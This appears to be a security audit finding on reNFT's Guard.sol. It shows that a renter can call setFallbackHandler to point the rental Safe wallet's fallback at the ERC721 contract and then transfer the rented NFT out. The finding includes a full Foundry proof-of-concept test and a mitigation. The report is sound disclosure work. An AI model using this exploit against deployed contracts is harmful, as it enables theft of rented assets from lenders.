reNFT - a3yip6's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195-L293

Vulnerability details

To prevent rental wallets from moving ERC721/1155 assets freely, the protocol implements Guard.sol to conduct access control. Every time the rental wallet owner invokes the execTransaction() function of the rental wallet, the checkTransaction() function is subsequently called to prevent approve/transfer ERC721/1155 tokens. However, a malicious attacker can still transfer out tokens through the fallback() function of the rental wallet.

Impact

A malicious attacker can freely transfer out ERC721/1155 tokens that he rented.

Proof of Concept

Here is how we attack:

1. Assuming alice initializes a BASE order, then bob rents the ERC721 token from alice.
2. bob calls the execTransaction() of his rental wallet to perform an internal transaction toward bob's rental wallet, invoking the setFallbackHandler() and setting the handler as the address of the ERC721 token.
3. bob calls the fallback() of his rental wallet with safeTransferFrom calldata. bob's rental wallet will call the safeTransferFrom() function of the handler (i.e., the ERC721 token address).

Please use the following PoC to reproduce this procedure. Note that, our PoC is based on Foundry, just copy it to the contract project and run forge test --match-contract Guard_Test --match-test test_safe -vvvv.

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {Enum} from "@safe-contracts/common/Enum.sol";
import {TestRent} from "@test/integration/Rent.t.sol";
import {IERC721} from "@openzeppelin-contracts/token/ERC721/IERC721.sol";

contract Guard_Test is TestRent {
    function test_safe() public {
        // Step 1
        // We use the following function, which is from official test script.
        // That is, bob rent an ERC721 token from alice
        test_Success_Rent_BaseOrder_ERC721();

        // Let's pretent bob and hack
        vm.prank(bob.addr);

        // Step 2
        // Let's call the setFallbackHandler() function
        // and set handler to the ERC721 token address
        bytes memory data = abi.encodeWithSelector(
            bytes4(keccak256("setFallbackHandler(address)")), 
            address(erc721s[0])
        );
        uint256 nonce = bob.safe.nonce();
        bytes32 transactionHash = bob.safe.getTransactionHash(
            address(bob.safe),
            0 ether,
            data, 
            Enum.Operation.Call, 
            0 ether,
            0 ether,
            0 ether,
            address(0),
            payable(address(0)),
            nonce
        );
        // sign the transaction
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(bob.privateKey, transactionHash);
        bytes memory transactionSignature = abi.encodePacked(r, s, v);
        bob.safe.execTransaction(
            address(bob.safe),
            0 ether,
            data, 
            Enum.Operation.Call, 
            0 ether, 
            0 ether, 
            0 ether, 
            address(0),
            payable(address(0)),
            transactionSignature
        );

        // Step 3
        // Let's call the fallback()
        // bob.safe will conduct internal transaction and call ERC721 address 
        // without any access control
        IERC721(address(bob.safe)).safeTransferFrom(address(bob.safe), address(bob.addr), 0);

        // We successfully transfer the ERC721 token from bob's rental wallet to bob's address
        assertEq(erc721s[0].ownerOf(0), address(bob.addr));
    }
    
}

Recommended Mitigation Steps

The root cause of this vulnerability lies in the lack of access control of the setFallbackHandler() function in Guard.sol.

To address this issue, just revert the transaction in Guard.sol when the selector is setFallbackHandler.

Assessed type

Access Control